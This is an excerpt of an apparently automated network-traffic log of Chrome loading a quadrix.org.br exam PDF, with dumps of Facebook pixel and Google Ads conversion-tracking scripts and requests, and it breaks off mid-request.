2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 Data Ascii: urn!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="func
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d Data Ascii: Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function l(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 61 2e 70 69 78 65 6c 3b 61 3d 61 2e 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3b 76 61 72 20 6b 3d 61 26 26 69 3d 3d 6e 75 6c 6c 3b 69 3d 63 28 7b 62 75 74 74 6f 6e 3a 65 2c 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3a 6b 3f 68 3a 69 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 61 7d 29 3b 61 3d 64 28 29 3b 76 61 72 20 6c 3d 69 2e 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3b 69 3d 69 2e 75 73 65 72 44 61 74 61 3b 66 3d 7b 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 66 2c 62 75 74 74 6f 6e 54 65 78 74 3a 67 2c 66 6f 72 6d 46 65 61 74 75 72 65 73 3a 6b 3f 5b 5d 3a 6c 2c 70 61 67 65 46 65 61 74 75 72 65 73 3a 61 2c 70 61 72 61 6d 65 74 65 72 73 3a 62 2e 74 72 69 67 67 65 72 28 7b 70 69 78 65 6c 3a Data Ascii: a.pixel;a=a.shouldExtractUserData;var k=a&&i==null;i=c({button:e,containerElement:k?h:i,shouldExtractUserData:a});a=d();var l=i.formFieldFeatures;i=i.userData;f={buttonFeatures:f,buttonText:g,formFeatures:k?[]:l,pageFeatures:a,parameters:b.trigger({pixel:
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 61 28 29 2c 6b 3d 5b 5d 2c 6c 3d 7b 7d 3b 69 66 28 68 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 7b 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3a 6b 2c 75 73 65 72 44 61 74 61 3a 6c 7d 3b 68 3d 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 66 6f 72 28 76 61 72 20 6d 3d 30 3b 6d 3c 68 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 7b 76 61 72 20 6e 3d 68 5b 6d 5d 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 Data Ascii: a(),k=[],l={};if(h==null)return{formFieldFeatures:k,userData:l};h=h.querySelectorAll(e);for(var m=0;m<h.length;m++){var n=h[m];if(n instanceof HTMLInputElement\|\|n instanceof HTMLTextAreaElement\|\|n instanceof HTMLSelectElement\|\|n instanceof HTMLButtonEleme
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 6e 74 73 5b 62 5d 3b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 63 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 64 29 26 26 28 61 5b 64 5d 3d 63 5b 64 5d 29 7d 72 65 74 75 72 6e 20 61 7d 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 74 69 6c 73 22 29 2c 63 3d 62 2e 65 61 63 68 2c 64 3d 2f 5b 5e 5c 73 5c 22 5d 2f 2c 65 3d 2f 5b 5e 5c 73 3a 2b 5c 22 5d 2f 3b 66 75 6e 63 74 69 6f 6e 20 67 28 62 2c 63 2c 66 29 7b 69 66 28 66 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 64 2e 74 65 73 74 28 63 29 3f 63 3d 3d 3d 22 40 22 3f 6e 75 6c 6c 3a 7b 73 74 61 72 74 3a 62 2c 75 73 65 72 4f 72 44 6f 6d 61 69 6e 3a 22 75 73 65 72 Data Ascii: nts[b];for(var d in c)Object.prototype.hasOwnProperty.call(c,d)&&(a[d]=c[d])}return a},b=f.getFbeventsModules("SignalsFBEventsUtils"),c=b.each,d=/[^\s\"]/,e=/[^\s:+\"]/;function g(b,c,f){if(f==null)return d.test(c)?c==="@"?null:{start:b,userOrDomain:"user
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 2e 5f 72 61 74 65 4d 53 3d 63 7d 68 28 62 2c 5b 7b 6b 65 79 3a 22 5f 70 61 73 73 65 73 54 68 72 6f 74 74 6c 65 49 6d 70 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 5f 6c 61 73 74 41 72 67 73 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 63 3d 62 2d 74 68 69 73 2e 5f 6c 61 73 74 54 69 6d 65 3b 69 66 28 63 3e 3d 74 68 69 73 2e 5f 72 61 74 65 4d 53 29 72 65 74 75 72 6e 21 30 3b 66 6f 72 28 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 41 72 72 61 79 28 64 29 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 65 5b 66 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 66 5d 3b 69 66 28 61 2e 6c 65 6e 67 74 68 21 3d 3d 65 2e 6c 65 6e 67 74 68 Data Ascii: ._rateMS=c}h(b,[{key:"_passesThrottleImpl",value:function(){var a=this._lastArgs;if(a==null)return!0;var b=Date.now(),c=b-this._lastTime;if(c>=this._rateMS)return!0;for(var d=arguments.length,e=Array(d),f=0;f<d;f++)e[f]=arguments[f];if(a.length!==e.length
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 74 72 61 63 74 46 72 6f 6d 49 6e 70 75 74 73 22 29 2c 42 3d 6e 65 77 20 74 28 29 2c 43 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 44 6f 41 75 74 6f 6d 61 74 69 63 4d 61 74 63 68 69 6e 67 22 29 2c 44 3d 31 30 30 3b 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 62 2e 62 75 74 74 6f 6e 53 65 6c 65 63 74 6f 72 3d 3d 3d 22 65 78 74 65 6e 64 65 64 22 7d 66 75 6e 63 74 69 6f 6e 20 46 28 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 62 2e 64 69 73 61 62 6c 65 41 75 74 6f 43 6f 6e 66 69 67 29 72 65 74 75 Data Ascii: .getFbeventsModules("signalsFBEventsExtractFromInputs"),B=new t(),C=f.getFbeventsModules("signalsFBEventsDoAutomaticMatching"),D=100;function E(a,b){return b!=null&&b.buttonSelector==="extended"}function F(b){return function(c){if(b.disableAutoConfig)retu
2024-05-10 07:21:00 UTC	424	IN	Data Raw: 29 2c 63 29 2c 63 2e 65 78 74 72 61 63 74 50 49 49 3d 47 2c 65 29 2c 6a 28 63 2c 64 29 7d 72 65 74 75 72 6e 20 62 7d 28 62 29 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 65 77 20 75 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 2e 6c 69 73 74 65 6e 4f 6e 63 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 28 46 28 62 29 29 3b 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 61 2c 7b 63 61 70 74 75 72 65 3a 21 30 2c 6f 6e 63 65 3a 21 31 2c 70 61 73 73 69 76 65 3a 21 30 7d 29 3a 67 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 63 6c 69 63 6b 22 2c 61 29 7d 29 2c 6d 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 47 28 Data Ascii: ),c),c.extractPII=G,e),j(c,d)}return b}(b);e.exports=new u(function(a,b){c.listenOnce(function(){var a=w(F(b));h.addEventListener?h.addEventListener("click",a,{capture:!0,once:!1,passive:!0}):g.attachEvent("onclick",a)}),m.listen(function(a,c,d){return G(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49793	142.250.191.162	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1425	OUT	GET /td/rul/341894994?random=1715325658478&cv=11&fst=1715325658478&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1 HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:00 UTC	785	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 10-May-2024 07:36:00 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-10 07:21:00 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-10 07:21:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49791	172.217.5.2	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1301	OUT	GET /pagead/viewthroughconversion/341894994/?random=1715325658478&cv=11&fst=1715325658478&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:00 UTC	842	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 10-May-2024 07:36:00 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-10 07:21:00 UTC	413	IN	Data Raw: 61 39 33 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 20 3d 20 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 2f 2a 20 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 67 2c 6b 3b 61 3a 7b 66 6f 72 28 76 61 72 20 6c 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 2c 70 3d 66 2c 71 3d 30 3b 71 3c 6c 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 69 66 28 70 3d 70 5b 6c 5b 71 5d 5d 2c 6e 75 6c 6c 3d 3d 70 29 7b 6b 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 6b 3d 70 7d 76 61 72 20 Data Ascii: a93(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var
2024-05-10 07:21:00 UTC	1255	IN	Data Raw: 61 2e 69 6e 64 65 78 4f 66 28 64 29 7d 29 3a 21 31 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 78 28 64 29 7b 76 61 72 20 61 3b 61 3a 7b 69 66 28 61 3d 66 2e 6e 61 76 69 67 61 74 6f 72 29 69 66 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 62 72 65 61 6b 20 61 3b 61 3d 22 22 7d 72 65 74 75 72 6e 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 64 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 79 28 29 7b 72 65 74 75 72 6e 20 67 3f 21 21 74 26 26 30 3c 74 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 20 79 28 29 3f 77 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 78 28 22 43 68 72 6f 6d 65 22 29 7c 7c 78 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 78 28 22 53 69 6c 6b Data Ascii: a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk
2024-05-10 07:21:00 UTC	1046	IN	Data Raw: 3d 43 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 3b 73 2e 73 73 5f 28 77 69 6e 64 6f 77 2c 27 4f 6a 45 33 4d 54 55 7a 4d 6a 55 32 4e 54 67 30 4e 7a 67 27 2c 5b 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 31 70 2d 75 73 65 72 2d 6c 69 73 74 2f 33 34 31 38 39 34 39 39 34 2f 3f 72 61 6e 64 6f 6d 5c 78 33 64 31 37 31 35 33 32 35 36 35 38 34 37 38 5c 78 32 36 63 76 5c 78 33 64 31 31 5c 78 32 36 66 73 74 5c 78 33 64 31 37 31 35 33 32 34 34 30 30 30 30 30 5c 78 32 36 62 67 5c 78 33 64 66 66 66 66 66 66 5c 78 32 36 67 75 69 64 5c 78 33 64 4f 4e 5c 78 32 36 61 73 79 6e 63 5c 78 33 64 31 5c 78 32 36 67 74 6d 5c 78 33 64 34 35 62 65 34 35 38 30 7a 38 38 34 38 33 30 36 39 32 39 7a 61 32 30 31 5c 78 32 36 67 63 64 5c Data Ascii: =C;}).call(this);;s.ss_(window,'OjE3MTUzMjU2NTg0Nzg',['https://www.google.com/pagead/1p-user-list/341894994/?random\x3d1715325658478\x26cv\x3d11\x26fst\x3d1715324400000\x26bg\x3dffffff\x26guid\x3dON\x26async\x3d1\x26gtm\x3d45be4580z8848306929za201\x26gcd\
2024-05-10 07:21:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49797	172.217.5.2	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1778	OUT	GET /pagead/viewthroughconversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&eitems=ChEI8Iv3sQYQnJ36u-Ls4rfyARIdANVWnwSHLPtSeYc8yHAteX65LgFnYc2bmyVsjGU&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR [TRUNCATED] Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-10 07:21:00 UTC	2061	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://www.google.com/pagead/1p-conversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv&is_vtc=1&cid=CAQSKQB7 [TRUNCATED] Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUmd4QrZJGyh4dY49d9R8YpcQAUH_-aBb6G6vZRXV9e14_NR7_6BL1yBOT7N; expires=Sun, 10-May-2026 07:21:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-10 07:21:00 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49798	172.217.4.68	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1429	OUT	GET /pagead/1p-user-list/341894994/?random=1715325658478&cv=11&fst=1715324400000&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqOa3VxFTcJB1H7Dtw1_cxIhIczu4LLQ&random=2022932343&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", 